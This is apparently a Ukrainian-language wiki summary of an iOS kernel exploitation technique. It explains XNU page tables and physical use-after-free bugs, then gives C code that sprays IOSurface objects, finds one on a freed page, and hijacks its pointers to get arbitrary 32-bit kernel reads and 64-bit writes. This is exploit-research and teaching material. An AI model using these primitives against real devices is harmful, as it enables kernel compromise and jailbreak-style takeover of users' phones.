iOS Exploiting

Physical use-after-free

Це резюме з посту з https://alfiecg.uk/2024/09/24/Kernel-exploit.html, крім того, додаткову інформацію про експлойт, що використовує цю техніку, можна знайти в https://github.com/felix-pb/kfd

Memory management in XNU

Віртуальний адресний простір пам'яті для користувацьких процесів на iOS охоплює від 0x0 до 0x8000000000. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість, ядро використовує таблиці сторінок для перетворення віртуальних адрес на фактичні фізичні адреси.

Levels of Page Tables in iOS

Таблиці сторінок організовані ієрархічно на трьох рівнях:

  1. L1 Page Table (Рівень 1):

  • Кожен запис тут представляє великий діапазон віртуальної пам'яті.

  • Він охоплює 0x1000000000 байт (або 256 ГБ) віртуальної пам'яті.

  1. L2 Page Table (Рівень 2):

  • Запис тут представляє меншу область віртуальної пам'яті, а саме 0x2000000 байт (32 МБ).

  • Запис L1 може вказувати на таблицю L2, якщо він не може відобразити весь регіон самостійно.

  1. L3 Page Table (Рівень 3):

  • Це найдрібніший рівень, де кожен запис відображає одну 4 КБ сторінку пам'яті.

  • Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.

Mapping Virtual to Physical Memory

  • Пряме відображення (Блокове відображення):

  • Деякі записи в таблиці сторінок безпосередньо відображають діапазон віртуальних адрес на безперервний діапазон фізичних адрес (як скорочення).

  • Вказівник на дочірню таблицю сторінок:

  • Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на дочірню таблицю сторінок на наступному рівні (наприклад, L2).

Example: Mapping a Virtual Address

Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси 0x1000000000:

  1. L1 Table:

  • Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має вказівник на таблицю L2, воно переходить до цієї таблиці L2.

  1. L2 Table:

  • Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на таблицю L3, воно продовжує туди.

  1. L3 Table:

  • Ядро шукає фінальний запис L3, який вказує на фізичну адресу фактичної сторінки пам'яті.

Example of Address Mapping

Якщо ви запишете фізичну адресу 0x800004000 у перший індекс таблиці L2, тоді:

  • Віртуальні адреси від 0x1000000000 до 0x1002000000 відображаються на фізичні адреси від 0x800004000 до 0x802004000.

  • Це блокове відображення на рівні L2.

Альтернативно, якщо запис L2 вказує на таблицю L3:

  • Кожна 4 КБ сторінка у віртуальному адресному діапазоні 0x1000000000 -> 0x1002000000 буде відображена окремими записами в таблиці L3.

Physical use-after-free

Фізичне використання після звільнення (UAF) відбувається, коли:

  1. Процес виділяє певну пам'ять як читабельну та записувану.

  2. Таблиці сторінок оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.

  3. Процес звільняє пам'ять.

  4. Однак, через помилку, ядро забуває видалити відображення з таблиць сторінок, хоча воно позначає відповідну фізичну пам'ять як вільну.

  5. Ядро може потім перевиділити цю "звільнену" фізичну пам'ять для інших цілей, таких як дані ядра.

  6. Оскільки відображення не було видалено, процес все ще може читати та записувати в цю фізичну пам'ять.

Це означає, що процес може отримати доступ до сторінок пам'яті ядра, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику маніпулювати пам'яттю ядра.

Exploitation Strategy: Heap Spray

Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану heap spray:

  1. Зловмисник створює велику кількість об'єктів IOSurface у пам'яті ядра.

  2. Кожен об'єкт IOSurface містить магічне значення в одному з його полів, що полегшує його ідентифікацію.

  3. Вони сканують звільнені сторінки, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.

  4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для читання та запису пам'яті ядра.

Більше інформації про це в https://github.com/felix-pb/kfd/tree/main/writeups

Step-by-Step Heap Spray Process

  1. Spray IOSurface Objects: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").

  2. Scan Freed Pages: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.

  3. Read/Write Kernel Memory: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати произвольні читання та записи в пам'яті ядра. Це дозволяє їм:

  • Використовувати одне поле для читання будь-якого 32-бітного значення в пам'яті ядра.

  • Використовувати інше поле для запису 64-бітних значень, досягаючи стабільного примітиву читання/запису ядра.

Генерувати об'єкти IOSurface з магічним значенням IOSURFACE_MAGIC для подальшого пошуку:

void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Шукайте IOSurface об'єкти на одній звільненій фізичній сторінці:

int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Досягнення читання/запису ядра з IOSurface

Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для произвольних операцій читання та запису в ядрі.

Ключові поля в IOSurface

Об'єкт IOSurface має два важливих поля:

  1. Вказівник на кількість використань: Дозволяє 32-бітне читання.

  2. Вказівник на індексований часовий штамп: Дозволяє 64-бітний запис.

Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє можливості читання/запису.

32-Бітне читання з ядра

Щоб виконати читання:

  1. Перезапишіть вказівник на кількість використань, щоб він вказував на цільову адресу мінус зсув 0x14 байт.

  2. Використовуйте метод get_use_count, щоб прочитати значення за цією адресою.

uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

64-Бітний Ядро Запис

Щоб виконати запис:

  1. Перезапишіть індексований вказівник часу на цільову адресу.

  2. Використовуйте метод set_indexed_timestamp, щоб записати 64-бітне значення.

void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Резюме потоку експлуатації

  1. Виклик фізичного використання після звільнення: Вільні сторінки доступні для повторного використання.

  2. Розподіл об'єктів IOSurface: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.

  3. Визначити доступний IOSurface: Знайти IOSurface на звільненій сторінці, якою ви керуєте.

  4. Зловживання використанням після звільнення: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне читання/запис ядра через методи IOSurface.

З цими примітивами експлуатація забезпечує контрольовані 32-бітні читання та 64-бітні записи в пам'ять ядра. Подальші кроки джейлбрейка можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).

Last updated